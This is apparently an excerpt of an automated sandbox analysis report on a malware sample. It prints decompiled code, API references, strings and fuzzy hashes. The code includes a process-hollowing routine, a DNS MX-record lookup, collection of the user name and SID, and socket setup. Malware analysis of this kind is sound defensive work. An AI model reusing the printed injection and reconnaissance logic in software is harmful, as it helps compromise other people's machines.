					return CloseHandle(_t86);
				}
				if(_t157[8] != 0) {
					__eflags = _t157[0x48];
					if(_t157[0x48] == 0) {
						L5:
						_t12 =  &(_t157[0x10]); // 0x59be026a
						_t90 =  *_t12;
						_t157[8] = _t90;
						_t157[0x34] = _t90;
						_t91 = _t90 * 0x3e8;
						__eflags = _t91;
						_t157[0x38] = _t122;
						_t157[0x3c] = _t122;
						_t157[0x1c] = _t90 * 0x2710;
						_t157[0x20] = _t91;
						goto L6;
					}
					_t118 = GetTickCount();
					_t11 =  &(_t157[0x48]); // 0x13740041
					__eflags = _t118 -  *_t11 - 0x927c0;
					if(_t118 -  *_t11 < 0x927c0) {
						goto L6;
					}
					goto L5;
				} else {
					_t4 =  &(_t157[0xc]); // 0x5756c359
					_t120 =  *_t4;
					_t157[0x1c] = _t120 * 0x2710;
					_t157[8] = _t120;
					_t157[0x20] = _t120 * 0x3e8;
					_t157[0x34] = _t120;
					_t157[0x48] = GetTickCount();
					L6:
					if(( *_t157 & 0x00000001) == 0) {
						_t73 =  &(_t157[0x34]); // 0xa1c35e5f
						_t157[8] =  *_t73;
						goto L31;
					}
					_t93 = GetTickCount();
					_t21 =  &(_t157[0x4c]); // 0x26fce850
					if(_t93 -  *_t21 >= 0x2710) {
						goto L31;
					}
					if(_t157[0x54] == _t122) {
						_t95 = 0x3e8;
					} else {
						_t117 = GetTickCount();
						_t23 =  &(_t157[0x54]); // 0x41366c1d
						_t95 = _t117 -  *_t23;
					}
					_t123 = _t95;
					if(_t95 < 1) {
						_t123 = 1;
					}
					if(_t123 > 0x4e20) {
						_t123 = 0x4e20;
					}
					_t24 =  &(_t157[0x58]); // 0x701d8900
					_t25 =  &(_t157[0x40]); // 0x74c33b57
					_t151 =  *_t25;
					_t132 =  *_t24 * 0x3e8;
					_push(_t158);
					asm("cdq");
					_push(0x14);
					_a4 = _t123;
					asm("cdq");
					_t101 = (_t132 - _t151) * _t123 / 0x3e8 / 0x3e8;
					if(_t101 == 0) {
						__eflags = _t132 - _t151;
						if(__eflags == 0) {
							goto L22;
						}
						if(__eflags >= 0) {
							_t156 = _t151 + 1;
							__eflags = _t156;
						} else {
							_t156 = _t151 - 1;
						}
						goto L21;
					} else {
						_t156 = _t151 + _t101;
						L21:
						_t157[0x40] = _t156;
						L22:
						if(_t157[0x40] < 0) {
							_t157[0x40] = _t157[0x40] & 0x00000000;
						}
						_t39 =  &(_t157[0x40]); // 0x74c33b57
						_t163 = (0xc8 -  *_t39) * 0x14;
						if(_t123 > 0x3e8) {
							_a4 = 0x3e8;
						}
						asm("cdq");
						_t46 =  &(_t157[0x14]); // 0x5f004120
						_t47 =  &(_t157[0x10]); // 0x59be026a
						asm("cdq");
						_t49 =  &(_t157[0x30]); // 0xe4754f45
						_t54 =  &(_t157[0x20]); // 0x406a0000
						_t108 = E0040A505(_t163 * _a4 / 0x3e8 /  *_t49 +  *_t54,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t56 =  &(_t157[0x2c]); // 0xc68314c4
						_t157[0x20] = _t108;
						_t112 = E0040A505(_t163 /  *_t56 + _t108,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t122 = 0;
						_t157[0x58] = 0;
						_t154 = _t112 / 0x3e8;
						_t157[0x54] = GetTickCount();
						_t68 =  &(_t157[0x34]); // 0xa1c35e5f
						_t115 =  *_t68;
						if(_t115 <= _t154) {
							_t157[8] = _t115;
							_t157[0x20] = _t115 * 0x3e8;
						} else {
							_t157[8] = _t154;
							_t157[0x1c] = _t154 * 0x2710;
						}
						goto L31;
					}
				}
			}

0x0040c2dc
0x0040c2de
0x0040c2e4
0x0040c2e9
0x0040c2ef
0x0040c482
0x0040c485
0x0040c488
0x0040c48b
0x0040c48e
0x0040c491
0x0040c494
0x0040c497
0x0040c499
0x0040c499
0x0040c4a0
0x0040c4a3
0x0040c4a6
0x0040c4a9
0x0040c4d5
0x0040c4d5
0x0040c4d5
0x0040c4c1
0x0040c4c9
0x00000000
0x00000000
0x00000000
0x0040c4cc
0x0040c2fe
0x0040c326
0x0040c329
0x0040c337
0x0040c337
0x0040c337
0x0040c342
0x0040c345
0x0040c348
0x0040c348
0x0040c34e
0x0040c351
0x0040c354
0x0040c357
0x00000000
0x0040c357
0x0040c32b
0x0040c32d
0x0040c330
0x0040c335
0x00000000
0x00000000
0x00000000
0x0040c300
0x0040c300
0x0040c300
0x0040c30b
0x0040c316
0x0040c319
0x0040c31c
0x0040c321
0x0040c35a
0x0040c35d
0x0040c47a
0x0040c47d
0x00000000
0x0040c47d
0x0040c363
0x0040c365
0x0040c36d
0x00000000
0x00000000
0x0040c376
0x0040c37f
0x0040c378
0x0040c378
0x0040c37a
0x0040c37a
0x0040c37a
0x0040c384
0x0040c389
0x0040c38d
0x0040c38d
0x0040c395
0x0040c397
0x0040c397
0x0040c399
0x0040c39c
0x0040c39c
0x0040c39f
0x0040c3ac
0x0040c3ad
0x0040c3b5
0x0040c3b8
0x0040c3bc
0x0040c3bd
0x0040c3c1
0x0040c3c7
0x0040c3c9
0x00000000
0x00000000
0x0040c3cb
0x0040c3d0
0x0040c3d0
0x0040c3cd
0x0040c3cd
0x0040c3cd
0x00000000
0x0040c3c3
0x0040c3c3
0x0040c3d1
0x0040c3d1
0x0040c3d4
0x0040c3d8
0x0040c3da
0x0040c3da
0x0040c3e3
0x0040c3eb
0x0040c3f0
0x0040c3f2
0x0040c3f2
0x0040c3fd
0x0040c405
0x0040c408
0x0040c419
0x0040c41a
0x0040c41d
0x0040c421
0x0040c42a
0x0040c42b
0x0040c430
0x0040c436
0x0040c43b
0x0040c443
0x0040c448
0x0040c44b
0x0040c453
0x0040c456
0x0040c456
0x0040c45c
0x0040c46c
0x0040c475
0x0040c45e
0x0040c45e
0x0040c467
0x0040c467
0x00000000
0x0040c45c
0x0040c3c1

APIs

Part of subcall function 0040A4C7: GetTickCount.KERNEL32 ref: 0040A4D1
Part of subcall function 0040A4C7: InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

GetTickCount.KERNEL32 ref: 0040C31F
GetTickCount.KERNEL32 ref: 0040C32B
GetTickCount.KERNEL32 ref: 0040C363
GetTickCount.KERNEL32 ref: 0040C378
GetTickCount.KERNEL32 ref: 0040C44D
InterlockedIncrement.KERNEL32(0040C4E4), ref: 0040C4AE
CreateThread.KERNEL32 ref: 0040C4C1
CloseHandle.KERNEL32(00000000,?,0040C4E0,00413588,00408810), ref: 0040C4CC

Strings

localcfg, xrefs: 0040C2DD
0t, xrefs: 0040C44D

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: CountTick$Interlocked$CloseCreateExchangeHandleIncrementThread
String ID: 0t$localcfg
API String ID: 1553760989-1645711936
Opcode ID: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction ID: d79c9f10581ee3273b6165e92ba068ddd4f199cf4cd09fd02743c11af2233124
Opcode Fuzzy Hash: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction Fuzzy Hash: 0E515CB1A00B41CFC7249F6AC5D552ABBE9FB48304B509A3FE58BD7A90D778F8448B14

Uniqueness

Uniqueness Score: -1.00%

Function 0043C08A, Relevance: 16.7, APIs: 11, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0043C08E
__get_printf_count_output.LIBCMTD ref: 0043C09C
__invalid_parameter.LIBCMTD ref: 0043C123
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043C138
_write_multi_char.LIBCMTD ref: 0043C6CB
_write_string.LIBCMTD ref: 0043C6E6
_write_multi_char.LIBCMTD ref: 0043C712
__mbtowc_l.LIBCMTD ref: 0043C781

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID:
API String ID: 2386203720-0
Opcode ID: 6f81d9701ff0cbeff0e60bf9892986a53e8712b25196e12603c9d9391d1c5277
Instruction ID: 1bee35237054326261fe443cedf489c2b780606c0f52284d395c4b23c818fb87
Opcode Fuzzy Hash: 6f81d9701ff0cbeff0e60bf9892986a53e8712b25196e12603c9d9391d1c5277
Instruction Fuzzy Hash: 03A19FB5D002299BDF24DF55CC81BAEB3B1AB88305F10509AE6097B282D7785E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 006CF565, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(006CCC6D), ref: 006CF59D
socket.WS2_32(00000002,00000001,00000000), ref: 006CF5B7
closesocket.WS2_32(00000000), ref: 006CF5C5

Strings

time_cfg, xrefs: 006CF573
^3u, xrefs: 006CF619
p2u, xrefs: 006CF5C5, 006CF5F0

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: p2u$time_cfg$^3u
API String ID: 311057483-1845531421
Opcode ID: 35ab9fe366417f7a0644d99ffa926dabfa0554eb5add049d4f688aed03fde98e
Instruction ID: 97279a63e206b9b189df0aa7954354ba1a54bda96c4a6090639fa279d0add4f7
Opcode Fuzzy Hash: 35ab9fe366417f7a0644d99ffa926dabfa0554eb5add049d4f688aed03fde98e
Instruction Fuzzy Hash: 8A316072900118ABDB10DFA5DC89EFE7BBEEF49314F10416AFA15D3150D7709A818BA8

Uniqueness

Uniqueness Score: -1.00%

Function 006C3042, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97memorylibrarynetworkCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll), ref: 006C3051
LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 006C3061
GetProcAddress.KERNEL32(00000000,00410408), ref: 006C307E
RtlAllocateHeap.NTDLL(00000000), ref: 006C309F
htons.WS2_32(00000035), ref: 006C30D8
inet_addr.WS2_32(?), ref: 006C30E3
gethostbyname.WS2_32(?), ref: 006C30F6
HeapFree.KERNEL32(00000000), ref: 006C3136

Strings

iphlpapi.dll, xrefs: 006C304B, 006C3050, 006C3060

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocateFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: iphlpapi.dll
API String ID: 2869546040-3565520932
Opcode ID: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction ID: 391733fdc17e2c025a2980a52fcf67d853e7120a40cf5130805cf3bb280632f9
Opcode Fuzzy Hash: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction Fuzzy Hash: 8131C731A00215AFDB109B74DC48FFE7BB9EF05761F188129E914E3390D774DA818758

Uniqueness

Uniqueness Score: -1.00%

Function 00402D21, Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 85
memorylibrarystringCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00402D21(intOrPtr _a4) {
				long _v8;
				long _v12;
				void* _v16;
				char _v28;
				struct HINSTANCE__* _t19;
				_Unknown_base(*)()* _t20;
				long* _t30;
				intOrPtr* _t37;
				long _t39;
				long _t40;
				void* _t41;

				asm("movsd");
				asm("movsd");
				asm("movsw");
				asm("movsb");
				_t19 = GetModuleHandleA( &_v28);
				_t39 = 0;
				if(_t19 != 0) {
					L3:
					_t20 = GetProcAddress(_t19, "DnsQuery_A");
					if(_t20 == _t39) {
						L2:
						return 0;
					}
					_push(_t39);
					_t35 =  &_v16;
					_push( &_v16);
					_push(_t39);
					_push(_t39);
					_push(0xf);
					_push(_a4);
					if( *_t20() != 0) {
						goto L2;
					}
					_t37 = _v16;
					_v8 = _t39;
					_v12 = _t39;
					if(_t37 == _t39) {
						L14:
						return _v12;
					}
					do {
						if( *((short*)(_t37 + 8)) != 0xf) {
							goto L12;
						}
						_t40 = HeapAlloc(GetProcessHeap(), _t39, 0x108);
						if(_t40 == 0) {
							break;
						}
						E0040EE2A(_t35, _t40, 0, 0x108);
						_t41 = _t41 + 0xc;
						 *(_t40 + 4) =  *(_t37 + 0x1c) & 0x0000ffff;
						_t13 = _t40 + 8; // 0x8
						lstrcpynA(_t13,  *(_t37 + 0x18), 0xff);
						_t30 = _v8;
						_v8 = _t40;
						if(_t30 != 0) {
							 *_t30 = _t40;
						} else {
							_v12 = _t40;
						}
						L12:
						_t37 =  *_t37;
						_t39 = 0;
					} while (_t37 != 0);
					goto L14;
				}
				_t19 = LoadLibraryA( &_v28);
				if(_t19 != 0) {
					goto L3;
				}
				goto L2;
			}

0x00402d31
0x00402d32
0x00402d33
0x00402d39
0x00402d3a
0x00402d40
0x00402d44
0x00402d5b
0x00402d61
0x00402d69
0x00402d54
0x00000000
0x00402d54
0x00402d6b
0x00402d6c
0x00402d6f
0x00402d70
0x00402d71
0x00402d72
0x00402d74
0x00402d7b
0x00000000
0x00000000
0x00402d7d
0x00402d80
0x00402d83
0x00402d88
0x00402deb
0x00000000
0x00402deb
0x00402d90
0x00402d95
0x00000000
0x00000000
0x00402da6
0x00402daa
0x00000000
0x00000000
0x00402db0
0x00402db9
0x00402dc1
0x00402dc7
0x00402dcb
0x00402dd1
0x00402dd4
0x00402dd9
0x00402de0
0x00402ddb
0x00402ddb
0x00402ddb
0x00402de2
0x00402de2
0x00402de4
0x00402de6
0x00000000
0x00402dea
0x00402d4a
0x00402d52
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(00000000,74E5EA30,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
LoadLibraryA.KERNEL32(?), ref: 00402D4A
GetProcAddress.KERNEL32(00000000,DnsQuery_A), ref: 00402D61
GetProcessHeap.KERNEL32(00000000,00000108,000DBBA0), ref: 00402D99
HeapAlloc.KERNEL32(00000000), ref: 00402DA0
lstrcpynA.KERNEL32(00000008,?,000000FF), ref: 00402DCB

Strings

dnsapi.dll, xrefs: 00402D29
DnsQuery_A, xrefs: 00402D5B
Mt, xrefs: 00402D3A

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: DnsQuery_A$dnsapi.dll$Mt
API String ID: 3560063639-2758030581
Opcode ID: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction ID: e5e1ee734cbcfb8ca4eff609f7c37a2f42b45bda1feb54b0ffc2340cedddb21a
Opcode Fuzzy Hash: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction Fuzzy Hash: 25214F7190022AABCB11AB55DD48AEFBBB8EF08750F104432F905B7290D7F49E8587D8

Uniqueness

Uniqueness Score: -1.00%

Function 00406CC9, Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 84
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00406CC9(void* __ecx) {
				_Unknown_base(*)()* _t8;
				CHAR* _t17;
				void* _t18;
				void* _t23;
				char _t25;
				void* _t34;

				_t23 = __ecx;
				if( *0x412e08 != 0) {
					L14:
					return 0x412e08;
				}
				_t8 = GetProcAddress(GetModuleHandleA("kernel32"), "GetSystemWow64DirectoryA");
				if(_t8 == 0) {
					L4:
					if(GetSystemDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
						if(GetWindowsDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
							E0040EF00(0x412e08, E00402544(0x4122f8, 0x410664, 0xb, 0xe4, 0xc8));
							E0040EE2A(_t23, 0x4122f8, 0, 0x100);
							_t34 = _t34 + 0x28;
						}
						E0040EF1E(0x412e08, E00402544(0x4122f8, 0x410658, 0xb, 0xe4, 0xc8));
						E0040EE2A(_t23, 0x4122f8, 0, 0x100);
					}
					L10:
					_t17 = 0x412e08;
					goto L11;
					L11:
					_t25 =  *_t17;
					_t17 =  &(_t17[1]);
					if(_t25 != 0) {
						goto L11;
					} else {
						_t18 = _t17 - 0x412e09;
						if( *((char*)(_t18 + 0x412e07)) != 0x5c) {
							 *((char*)(_t18 + 0x412e08)) = 0x5c;
							 *((char*)(_t18 + 0x412e09)) = _t25;
						}
						goto L14;
					}
				}
				_push(0x104);
				_push(0x412e08);
				if( *_t8() == 0 ||  *0x412e08 == 0) {
					goto L4;
				} else {
					goto L10;
				}
			}

0x00406cc9
0x00406cd6
0x00406dbe
0x00406dc1
0x00406dc1
0x00406cee
0x00406cfb
0x00406d12
0x00406d1c
0x00406d40
0x00406d60
0x00406d69
0x00406d6e
0x00406d6e
0x00406d86
0x00406d8f
0x00406d98
0x00406d99
0x00406d99
0x00406d9e
0x00406d9f
0x00406d9f
0x00406da1
0x00406da4
0x00000000
0x00406da6
0x00406da6
0x00406daf
0x00406db1
0x00406db8
0x00406db8
0x00000000
0x00406daf
0x00406da4
0x00406cfd
0x00406cfe
0x00406d03
0x00000000
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
GetProcAddress.KERNEL32(00000000), ref: 00406CEE
GetSystemDirectoryA.KERNEL32 ref: 00406D14
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

Strings

Mt, xrefs: 00406CE7
kernel32, xrefs: 00406CE2
PromptOnSecureDesktop, xrefs: 00406CDC, 00406D36, 00406D58, 00406D68, 00406D7E, 00406D8E
GetSystemWow64DirectoryA, xrefs: 00406CDD
C:\Windows\SysWOW64\, xrefs: 00406CC9, 00406CD1, 00406CFE, 00406D05, 00406D13, 00406D1E, 00406D2A, 00406D42, 00406D5F, 00406D85

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$GetSystemWow64DirectoryA$PromptOnSecureDesktop$kernel32$Mt
API String ID: 1082366364-4075101892
Opcode ID: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction ID: 283af98db633f334a3c96cb566aa979ace8a56c3c0d7b64ee1e11c7fdc897f47
Opcode Fuzzy Hash: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction Fuzzy Hash: AC21F26174034479F72157225D89FF72E4C8F52744F19407AF804B62D2CAED88E582AD

Uniqueness

Uniqueness Score: -1.00%

Function 00429940, Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 105windowCOMMON

Download Yara Rule

APIs

__invoke_watson_if_oneof.LIBCMTD ref: 00429A3E
_wcscpy_s.LIBCMTD ref: 00429A80
__invoke_watson_if_error.LIBCMTD ref: 00429A89
___crtMessageBoxW.LIBCMTD ref: 00429AA2
_raise.LIBCMTD ref: 00429ABB

Strings

lS@, xrefs: 004299CA, 004299D0
tS@, xrefs: 004299BC, 004299C2
`S@, xrefs: 00429983

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof_raise_wcscpy_s
String ID: `S@$lS@$tS@
API String ID: 908537515-3485714007
Opcode ID: e0c4c5656a747a3dcb60578a3350a04d6370b9e54c45de4b2861becc08875723
Instruction ID: bc997ecdc32802db27800ba0c405c5aeb983544aef408f42fe75285e3ee4b1cd
Opcode Fuzzy Hash: e0c4c5656a747a3dcb60578a3350a04d6370b9e54c45de4b2861becc08875723
Instruction Fuzzy Hash: C14154B4B40228ABDB28DA95DC46FDA7374AB48704F5040EEF609772C1D6B86EC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040977C, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82
threadinjectionprocessCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040977C(void* __ecx, CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				void _v24;
				char _v28;
				struct _STARTUPINFOA _v96;
				struct _CONTEXT _v812;
				void* _t33;

				_t46 = __ecx;
				E0040EE2A(__ecx,  &_v96, 0, 0x44);
				_v96.cb = 0x44;
				if(CreateProcessA(0, _a4, 0, 0, 0, 4, 0, 0,  &_v96,  &_v20) != 0) {
					E0040EE2A(_t46,  &_v812, 0, 0x2cc);
					_v812.ContextFlags = 0x10002;
					if(GetThreadContext(_v20.hThread,  &_v812) != 0) {
						_t33 = E0040637C(_entry_, _v20.hProcess,  &_v28,  &_v24);
						_push(0);
						if(_t33 == 0) {
							L4:
							TerminateProcess(_v20.hProcess, ??);
							goto L1;
						}
						if(WriteProcessMemory(_v20, _v812.Ebx + 8,  &_v24, 4, ??) == 0) {
							goto L3;
						}
						_v812.Eax = _v28;
						if(SetThreadContext(_v20.hThread,  &_v812) == 0) {
							goto L3;
						}
						ResumeThread(_v20.hThread);
						return 1;
					}
					L3:
					_push(0);
					goto L4;
				}
				L1:
				return 0;
			}

0x0040977c
0x0040978f
0x004097a9
0x004097b9
0x004097cf
0x004097e1
0x004097f3
0x00409811
0x00409819
0x0040981c
0x004097f6
0x004097f9
0x00000000
0x004097f9
0x00409839
0x00000000
0x00000000
0x0040983e
0x00409856
0x00000000
0x00000000
0x0040985b
0x00000000
0x00409863
0x004097f5
0x004097f5
0x00000000
0x004097f5
0x004097bb
0x00000000

APIs

CreateProcessA.KERNEL32(00000000,00409947,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,?,PromptOnSecureDesktop), ref: 004097B1
GetThreadContext.KERNEL32(?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097EB
TerminateProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097F9
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 00409831
SetThreadContext.KERNEL32(?,00010002,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040984E
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040985B

Strings

D, xrefs: 004097A9
PromptOnSecureDesktop, xrefs: 00409785

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D$PromptOnSecureDesktop
API String ID: 2981417381-1403908072
Opcode ID: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction ID: 6dc29e085b1385aad622296cf5a9b119a202239bcf48ce0aeeb22bf7d7f748db
Opcode Fuzzy Hash: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction Fuzzy Hash: 54216DB2901119BBDB119FA1DC49EEF7B7CEF05750F004071B909F2191EB759A44CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 006C6761, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(?,00000008), ref: 006C67AC
htonl.WS2_32(?), ref: 006C67C8
htonl.WS2_32(?), ref: 006C67D7
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 006C68DA
ExitProcess.KERNEL32 ref: 006C69A5

Strings

localcfg, xrefs: 006C697D
except_info, xrefs: 006C6978

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: Processhtonl$CurrentExitHugeRead
String ID: except_info$localcfg
API String ID: 1150517154-3605449297
Opcode ID: 8c67a5bde2c17ed3aff6f0ea1f646f2c63f3a3fdf38cb08711d1dfe4718764d5
Instruction ID: 796cbeea4e7052938032ece539e6f90d89b4c5bd1d6a3864793dd4eb41e956f2
Opcode Fuzzy Hash: 8c67a5bde2c17ed3aff6f0ea1f646f2c63f3a3fdf38cb08711d1dfe4718764d5
Instruction Fuzzy Hash: CF614072940208AFDB609FA4DC45FE977F9FF08300F24806AFA6DD2161DA759994CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00406F5F, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00406F5F(long _a4, long _a8) {
				void* _v8;
				long _v12;
				union _SID_NAME_USE _v16;
				void _v84;
				char _v212;
				CHAR* _t36;
				void* _t53;
				intOrPtr* _t54;
				char _t62;
				void* _t65;
				char* _t66;
				intOrPtr _t67;
				CHAR* _t68;
				void* _t69;

				_t68 = _a4;
				 *_t68 = 0;
				if(GetUserNameA(_t68,  &_a8) == 0) {
					return 0;
				}
				_t36 = _t68;
				_t66 =  &(_t36[1]);
				do {
					_t62 =  *_t36;
					_t36 =  &(_t36[1]);
				} while (_t62 != 0);
				_a8 = _t36 - _t66;
				_a4 = 0x7c;
				_v12 = 0x80;
				if(LookupAccountNameA(0, _t68,  &_v84,  &_a4,  &_v212,  &_v12,  &_v16) == 0) {
					L8:
					_a8 = _a8 + wsprintfA( &(_t68[_a8]), "/%d", E00406EDD());
					return _a8;
				}
				E0040EF00( &(_t68[_a8]), "/");
				_a8 = _a8 + 1;
				_push( &_v8);
				_t53 =  &_v84;
				_push(_t53);
				L0040F4AA();
				if(_t53 == 0) {
					goto L8;
				}
				_t54 = _v8;
				_t20 = _t54 + 1; // 0x121
				_t65 = _t20;
				do {
					_t67 =  *_t54;
					_t54 = _t54 + 1;
				} while (_t67 != 0);
				_a4 = _t54 - _t65;
				E0040EE08( &(_t68[_a8]), _v8, _t54 - _t65 + 1);
				_a8 = _a8 + _a4;
				_t69 = _t69 + 0xc;
				LocalFree(_v8);
				goto L8;
			}

0x00406f6c
0x00406f77
0x00406f82
0x00000000
0x00407047
0x00406f88
0x00406f8a
0x00406f8d
0x00406f8d
0x00406f8f
0x00406f90
0x00406f96
0x00406fb3
0x00406fba
0x00406fc9
0x00407025
0x0040703f
0x00000000
0x00407042
0x00406fd6
0x00406fdb
0x00406fe3
0x00406fe4
0x00406fe7
0x00406fe8
0x00406fef
0x00000000
0x00000000
0x00406ff1
0x00406ff4
0x00406ff4
0x00406ff7
0x00406ff7
0x00406ff9
0x00406ffa
0x00407000
0x0040700e
0x00407016
0x00407019
0x0040701f
0x00000000

APIs

GetUserNameA.ADVAPI32(?,0040D7C3), ref: 00406F7A
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,0040D7C3), ref: 00406FC1
ConvertSidToStringSidA.ADVAPI32(?,00000120), ref: 00406FE8
LocalFree.KERNEL32(00000120), ref: 0040701F
wsprintfA.USER32 ref: 00407036

Strings

/%d, xrefs: 00407030
|, xrefs: 00406FB3

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: Name$AccountConvertFreeLocalLookupStringUserwsprintf
String ID: /%d$|
API String ID: 676856371-4124749705
Opcode ID: d0dcaa4584af4ee21fb29ae66a8524e1be72cee8d1ca16944572a5c6b85c6430
Instruction ID: 25602f0bb6ce76eb5d01febd46d0227a680cec7408ef54ec30c82d1084126da1
Opcode Fuzzy Hash: d0dcaa4584af4ee21fb29ae66a8524e1be72cee8d1ca16944572a5c6b85c6430
Instruction Fuzzy Hash: B5313C72900209BFDB01DFA5DC45BDB7BBCEF04314F048166F949EB241DA79EA588B98

Uniqueness

Uniqueness Score: -1.00%

Function 006C2F71, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 85memorylibrarystringCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 006C2F8A
LoadLibraryA.KERNEL32(?), ref: 006C2F9A
